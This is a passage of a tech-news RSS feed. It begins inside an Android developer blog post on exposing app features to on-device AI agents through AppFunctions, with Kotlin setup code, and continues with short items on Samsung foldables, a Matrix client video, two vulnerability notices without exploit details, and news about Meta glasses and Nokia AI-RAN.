  <div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIr2ssY2GiOlBmFzcP-91j91VjH9QX_sOP8FcmtirYPyXZmYRzNJmfqI_GT6aXYXye8-ntylv-gTNu1Qlnbx5gHiFn9naHqt7tJOQBA3HpQ5uz8XRdavXh7b3IP3FzJb4SsbC4mClGLUHupDwIeE9Du3PNRQr0SGs2lgHZTdHXnv8TagNBRtoJsbpeE6c/s960/Comp%201.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIr2ssY2GiOlBmFzcP-91j91VjH9QX_sOP8FcmtirYPyXZmYRzNJmfqI_GT6aXYXye8-ntylv-gTNu1Qlnbx5gHiFn9naHqt7tJOQBA3HpQ5uz8XRdavXh7b3IP3FzJb4SsbC4mClGLUHupDwIeE9Du3PNRQr0SGs2lgHZTdHXnv8TagNBRtoJsbpeE6c/s1600/Comp%201.gif"></a></div><br><div class="vertical-video-wrapper"><br></div>

<p>Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the <code>addExpense</code> and <code>getExpenses</code> features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.</p>

<p>We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing <code>getItinerary</code> and <code>addItineraryEvent</code> to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s960/Comp%202.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s1600/Comp%202.gif"></a></div><br><p><br></p>
  

<p>Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database <span face="Roboto, sans-serif"> using the </span><span>addVoiceNote</span><span face="Roboto, sans-serif"> AppFunction.</span></p>

<h2>Android MCP powered by AppFunctions</h2>This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.<br><br><a href="https://d.android.com/ai/appfunctions">Android AppFunctions</a> is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s2500/Android%20MCP%20diagram.png"><img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s1600/Android%20MCP%20diagram.png"></a></div><br><p><br></p>

<p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.</i></div></i><p>Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.</p>

<p>When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.</p>

<h2>How we accelerated development with Android skills</h2>

To streamline the integration process, we leveraged the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a>. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary <code>Service</code> entry points, refining our <code>KDoc</code> documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

<h2>Providing app features to the intelligence system</h2>

<p>Enough with the theory, let's dive into the implementation.</p>

<h4>Configuration and dependency setup</h4>

<p>We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.</p>

<pre><code>implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")</code></pre>

<h4>Modeling custom data types</h4>

<p>Any custom object exchanged with the agent must be annotated with <code>@AppFunctionSerializable</code>. In our <a href="https://github.com/android/ai-samples/tree/main/jetpacker/android/feature/appfunctions/src/main/java/com/example/jetpacker/feature/appfunctions/TripSerializable.kt">TripSerializable.kt</a> file, we define our trip data model:</p>

<pre><code>@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List&lt;String&gt;,
)</code></pre>

<h4>Providing features using the @AppFunction annotation</h4>

<p>Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with <code>@AppFunction</code>. We can view this in searchTrip:</p>

<pre><code>/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List&lt;TripSerializable&gt; {
    return withContext(Dispatchers.IO) {
    // implementation
}</code></pre>

<p>Since AppFunctions run on the UI thread by default, we use <code>withContext(Dispatchers.IO)</code> to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.</p>

<h4>The service entry point and Hilt integration</h4>

<p>To register these features with the intelligence system, we create an abstract base class that extends <code>AppFunctionService</code>. We annotate it with <code>@AppFunctionServiceEntryPoint</code>:</p>

<pre><code>@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}</code></pre>

<p>During compilation, KSP generates the final concrete service subclass, <code>JetPackerAppFunctionService</code>, as declared with the <code>serviceName</code> parameter. We also register <code>app_metadata.xml</code> in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.</p>

<h2>Testing and verifying your AppFunctions</h2>

<p>Once implemented, you should verify that your AppFunctions are registered and working correctly.</p>

<p>Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running <code>adb shell cmd app_function list-app-functions</code> displays all registered functions for your package. You can then execute a specific function and test its database integration by running <code>adb shell cmd app_function execute-app-function</code> while passing a raw JSON parameters string.</p>

<p>Instead of these ADB commands, you can also use the <a href="https://github.com/android/appfunctions">AppFunctions Testing Agent</a> to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.</p>

<h2>Wrapping it up</h2>

<p>When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..</p>

<p>First, the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a> is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.</p>

<p>Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!</p>

<h2>Learn more</h2>

<p>Check out the other parts of this blog post series:<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1:</a></b> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3:</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4 (this post!):</b></a> System integration. Integrating with the Android intelligence system using AppFunctions. <br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>
  All code snippets in this blog post follow the following copyright notice:
</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Optimize your apps for the next generation of Samsung Galaxy devices]]></title>
<description><![CDATA[Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer ExperienceToday at Galaxy Unpacked, Samsung unveiled its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, ...]]></description>
<link>https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:16 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV-c747avSj9Z8JO4DTK4kSfO3SjSpd5aTuVvR_TBeD3bXV6cc8lzNLGrWCngNXdyZBeiNjQqwQZCcU4QCrovwL99gu0t5bQrlTXa0PIBGIivwyS8y226MgeraphZr4VITWYe0x7ckFto0dsD8rBLM1J_P3dV0CBj5Ctlwm8jsgAPZA7W2XnKnRz59H9I/s2049/MM_Adaptive_and_device_Meta%20(1).png"><div>



<div><div class="separator"><i>Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer Experience</i></div></div><div><i><br></i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s4210/MM_Adaptive_and_device_Blog.png"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s1600/MM_Adaptive_and_device_Blog.png"></a></div><br><i><br></i><p>Today at Galaxy Unpacked, Samsung <a href="https://blog.google/products-and-platforms/platforms/android/galaxy-unpacked-2026" target="_blank">unveiled</a> its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, and device postures your app needs to support is expanding once again.</p>

<p>With devices like the Galaxy Z Fold8, the ecosystem is expanding to include hardware with a landscape-first natural orientation and a wider aspect ratio in its main display state. Whether a user is unfolding a large display, flipping open a cover screen, or glancing at their wrist, users expect a flawless experience. To help you meet this moment, we’re sharing actionable guidance and new tooling updates to enable you to build adaptively proactively.</p>

<div class="separator">
  </div>

<h2>Rethink layout architecture for dynamic displays, including ultra-wide foldables</h2>

<p>Building for the latest foldables means dropping assumptions about display orientation and size. This is especially true for the Galaxy Z Fold8, which adopts an ultra-wide display, adding to the variety of aspect ratios to account for.  Devices with this landscape-first natural orientation show the limitations of hardcoded layout rules when users unfold the device. That’s why we’ve introduced <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">dedicated guidance for building for landscape foldables and trifolds.</a></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1302/Samsung%20fold8%20phones.png"><img border="0" data-original-height="442" data-original-width="1302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1600/Samsung%20fold8%20phones.png"></a></div><br><p>To build a responsive UI that handles these physics seamlessly, focus on the following core pillars:</p>

<p></p><ul><li><b>Build fluid, adaptive layouts: </b>Wide aspect ratios and compact vertical heights require fluid UIs that scale responsively. Our updated <a href="https://developer.android.com/design/ui/mobile/guides/layout-and-content/adapt-layout" target="_blank">adaptive design guidance</a> advises considering the window class width first to determine layout changes, then adjusting for height. To let individual components fluidly adapt to the grid, structure your layout using flexible containers that allow your content to automatically wrap, span, and reflow. For design inspiration browse our <a href="https://developer.android.com/design/ui/gallery/social/pawparazzi" target="_blank">adaptive sample app</a> and <a href="https://developer.android.com/design/ui/gallery/social/dual-screen?hl=en" target="_blank">dual-screen</a> design galleries.</li><li><b>Track actual app space:</b> Your app's display space rarely matches the physical device size, especially on an ultra-wide screen during multi-window, split-screen, or multitasking states. Sometimes even the orientations differ. Leverage <a href="https://developer.android.com/develop/adaptive-apps/guides/use-window-size-classes?hl=en" target="_blank">Window Size Classes</a> using the <a href="https://developer.android.com/blog/posts/jetpack-window-manager-1-5-is-stable" target="_blank">Jetpack Window Manager library</a> to calculate the exact space your app occupies.</li></ul><div><br></div>
  
<div class="separator">
  </div></div><div class="separator"><br></div><div class="separator"><div class="separator"><ul><li><b>Leverage the latest Jetpack Compose Update: </b>Start by adopting the stable <a href="https://android-developers.googleblog.com/2026/04/jetpack-compose-april-2026-updates.html" target="_blank">Jetpack Compose April '26 release</a> (<a href="https://developer.android.com/develop/ui/compose/bom" target="_blank">Compose BOM</a> version <code>2026.04.01</code>).Take advantage of the new structural layout tools to manage complex architectures. The new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid" target="_blank">Grid</a> API allows you to define dynamic tracks and column spans without the performance overhead of a lazy list. Pair Grid with the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox" target="_blank">FlexBox</a> layout API to easily handle multi-axis alignment and dynamic item wrapping. You can also use the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/mediaquery" target="_blank">MediaQuery</a> API to adapt your UI to its environment, using conditions to detect signals like device posture, window size, and keyboard types. </li><li><b>Make your app fold aware: </b>Use the Jetpack WindowManager library, which provides an API surface for foldable device window features such as folds and hinges. When your app is<a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/make-your-app-fold-aware" target="_blank"> fold aware</a>, it can adapt its layout to avoid placing important content in the area of folds or hinges and use folds and hinges as natural separators.</li><li><b>Maintain app continuity:</b> Avoid breaking the user journey when the device configuration shifts. Retain your UI state using <a href="https://developer.android.com/topic/libraries/architecture/viewmodel?hl=en" target="_blank">ViewModel</a> to ensure smooth transitions when a user folds or unfolds their device.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/s1920/7.22_MorphToTablet_Gif.gif"><img border="0" data-original-height="1080" data-original-width="1920" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/w640-h360/7.22_MorphToTablet_Gif.gif" width="640"></a></div><div><h2>Ensure seamless camera capture on foldable devices</h2><div>Camera implementation on foldables brings unique hardware quirks. Moving from a compact outer display to an expanded inner display introduces distinct layout aspect ratios while device rotation remains unchanged. If an app assumes a fixed portrait relationship between the camera sensor and the device layout, the app will likely suffer from sideways, stretched, or cropped previews during these folding transitions.</div><div> </div><div>When optimizing your app's media pipeline, migrate your capture experiences to <a href="https://developer.android.com/media/camera/camerax" target="_blank">CameraX</a> using the CameraX migration <a href="https://github.com/android/skills/blob/main/camera/camerax/SKILL.md">skill</a>. The library’s <a href="https://developer.android.com/reference/kotlin/androidx/camera/view/PreviewView" target="_blank">PreviewView</a> automatically handles sensor orientation, device rotation, and scaling behind the scenes. This guarantees a clean, stable preview regardless of how the user holds or positions the device. If you are maintaining an existing Camera2 codebase, integrate the <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables#solution_2_cameraviewfinder" target="_blank">CameraViewfinder</a> library to apply these complex aspect ratio and rotation transformations automatically without needing a total architecture overhaul.</div></div><h2>Extend glanceable interactions to Wear OS 7</h2><div>The opportunity to build for this new generation of devices extends right to the wrist. Launching with Wear OS 7, Wear Widgets give you a fresh surface to provide users with instant, glanceable access to their essential updates. You can build these highly expressive experiences using <a href="https://developer.android.com/jetpack/androidx/releases/glance-wear" target="_blank">Jetpack Glance</a> and <a href="https://developer.android.com/jetpack/androidx/releases/compose-remote" target="_blank">RemoteCompose</a>. Crucially, Widgets built with this framework can now populate multi-widget tiles that were previously reserved for first-party widgets. </div><div><br></div>
    
 <div class="separator">
  </div><div class="separator"><h2>Build intelligent features </h2><div class="separator"><a href="https://blog.google/products-and-platforms/platforms/android/gemini-intelligence/" target="_blank">Gemini intelligence </a>already completes tasks on users’ behalf, and you can <a href="https://developer.android.com/ai/appfunctions?_gl=1*1jms098*_up*MQ..*_ga*MjY0OTY0MDI3LjE3ODQzMzI1NDk.*_ga_6HH9YJMN9M*czE3ODQzMzI1NDkkbzEkZzAkdDE3ODQzMzI1NDkkajYwJGwwJGgxNjE0MTMzNjEz" target="_blank">experiment</a> with the intelligence system by sharing your apps capabilities. </div><div class="separator"><br></div><div class="separator">Samsung’s new foldable devices come with Gemini Nano 4, our latest on-device model. Nano 4 provides support for over 140 languages, better multimodal understanding, and <a href="https://developers.google.com/ml-kit/release-notes#july_14_2026" target="_blank">much more</a>. Use <a href="https://developers.google.com/ml-kit/genai/prompt/android" target="_blank">ML Kit’s Prompt API</a> with advanced features like s<a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output" target="_blank">tructured output</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/thinking-mode" target="_blank">thinking mode</a> to build intelligent features on-device. </div><div class="separator"><h2>Start optimizing today</h2><div class="separator">The tools and frameworks are ready to help you optimize your app for all screen sizes. Begin by exploring our guidance for <a href="https://developer.android.com/develop/adaptive-apps" target="_blank">building adaptive apps </a>to learn more about core adaptive design principles. </div><div class="separator"><br></div><div class="separator">To dive deeper, check out our comprehensive <a href="https://www.youtube.com/playlist?list=PLD2U7gd1-ieo" target="_blank">YouTube playlist</a>. Finally, ensure your app delivers a flawless, premium experience on the newest form factors by reviewing our dedicated quality guidelines for <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">trifolds and landscape foldables</a> and <a href="https://developer.android.com/design/ui/wear/guides/get-started?hl=en" target="_blank">WearOS</a>. </div><div class="separator"><br></div><div class="separator">Unfold the future today! </div></div></div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Matrix Live S12E11 – Relay, a brand new and polished macOS client]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 17x - Views:505 Relay is a macOS native Matrix client, written in Swift, and it looks an awful lot like a Matrix-powered iMessage!

Relay room: https://matrix.to/#/#relayapp:matrix.org
Relay repo: https://github.com/subpop/Relay/

This Week in Matrix: https://mat...]]></description>
<link>https://tsecurity.de/de/3693335/videos/matrix-live-s12e11-relay-a-brand-new-and-polished-macos-client/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693335/videos/matrix-live-s12e11-relay-a-brand-new-and-polished-macos-client/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:14 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 17x - Views:505 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/LjciGuYBx-M?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Relay is a macOS native Matrix client, written in Swift, and it looks an awful lot like a Matrix-powered iMessage!<br />
<br />
Relay room: https://matrix.to/#/#relayapp:matrix.org<br />
Relay repo: https://github.com/subpop/Relay/<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-64785 | Apple swift-nio-http2 up to 1.44.x HTTP/2 Codec response splitting (EUVD-2026-48369)]]></title>
<description><![CDATA[A vulnerability has been found in Apple swift-nio-http2 up to 1.44.x and classified as critical. This affects an unknown part of the component HTTP2 Codec. Performing a manipulation results in http response splitting.

This vulnerability is identified as CVE-2026-64785. The attack can be initiate...]]></description>
<link>https://tsecurity.de/de/3692771/sicherheitsluecken/cve-2026-64785-apple-swift-nio-http2-up-to-144x-http2-codec-response-splitting-euvd-2026-48369/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692771/sicherheitsluecken/cve-2026-64785-apple-swift-nio-http2-up-to-144x-http2-codec-response-splitting-euvd-2026-48369/</guid>
<pubDate>Sat, 25 Jul 2026 01:53:26 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/apple:swift-nio-http2">Apple swift-nio-http2 up to 1.44.x</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. This affects an unknown part of the component <em>HTTP2 Codec</em>. Performing a manipulation results in http response splitting.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-64785">CVE-2026-64785</a>. The attack can be initiated remotely. There is not any exploit available.

The affected component should be upgraded.]]></content:encoded>
</item>
<item>
<title><![CDATA[Imperva Customers Protected Against CVE-2026-16723: Critical FastJson 1.x Zero-Day RCE]]></title>
<description><![CDATA[TL;DR: A critical remote code execution vulnerability has been disclosed in FastJson, a widely used JSON processing library for Java. The vulnerability, assigned CVE-2026-16723 with a CVSS score of 9.0 (Critical), affects FastJson versions 1.2.68 through 1.2.83 under specific Spring Boot deployme...]]></description>
<link>https://tsecurity.de/de/3692642/it-security-nachrichten/imperva-customers-protected-against-cve-2026-16723-critical-fastjson-1x-zero-day-rce/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692642/it-security-nachrichten/imperva-customers-protected-against-cve-2026-16723-critical-fastjson-1x-zero-day-rce/</guid>
<pubDate>Fri, 24 Jul 2026 23:54:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>TL;DR: A critical remote code execution vulnerability has been disclosed in FastJson, a widely used JSON processing library for Java. The vulnerability, assigned CVE-2026-16723 with a CVSS score of 9.0 (Critical), affects FastJson versions 1.2.68 through 1.2.83 under specific Spring Boot deployment conditions and can be exploited using malicious JSON without authentication, enabling AutoType, or relying on third-party gadget classes.  Imperva customers are protected against exploitation attempts […]</p>
<p>The post <a href="https://www.imperva.com/blog/imperva-customers-protected-against-cve-2026-16723-critical-fastjson-1-x-zero-day-rce/">Imperva Customers Protected Against CVE-2026-16723: Critical FastJson 1.x Zero-Day RCE</a> appeared first on <a href="https://www.imperva.com/blog">Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta just created a moderation nightmare for its smart glasses]]></title>
<description><![CDATA[Meta's smart glasses have been a PR headache for the company. Public backlash has been swift, and fierce; people are concerned about the erosion of privacy and expansion of surveillance. Some especially bad actors are using the glasses to film themselves "pranking" random strangers. Women have be...]]></description>
<link>https://tsecurity.de/de/3692397/it-nachrichten/meta-just-created-a-moderation-nightmare-for-its-smart-glasses/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692397/it-nachrichten/meta-just-created-a-moderation-nightmare-for-its-smart-glasses/</guid>
<pubDate>Fri, 24 Jul 2026 21:33:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Meta's smart glasses have been a PR headache for the company. Public backlash has been swift, and fierce; people are concerned about the erosion of privacy and expansion of surveillance. Some especially bad actors are using the glasses to film themselves "pranking" random strangers. Women have become unsuspecting social media content for men filming themselves […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]></title>
<description><![CDATA[Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity...]]></description>
<link>https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</guid>
<pubDate>Fri, 24 Jul 2026 10:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.</p>



<p class="wp-block-paragraph">With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.</p>



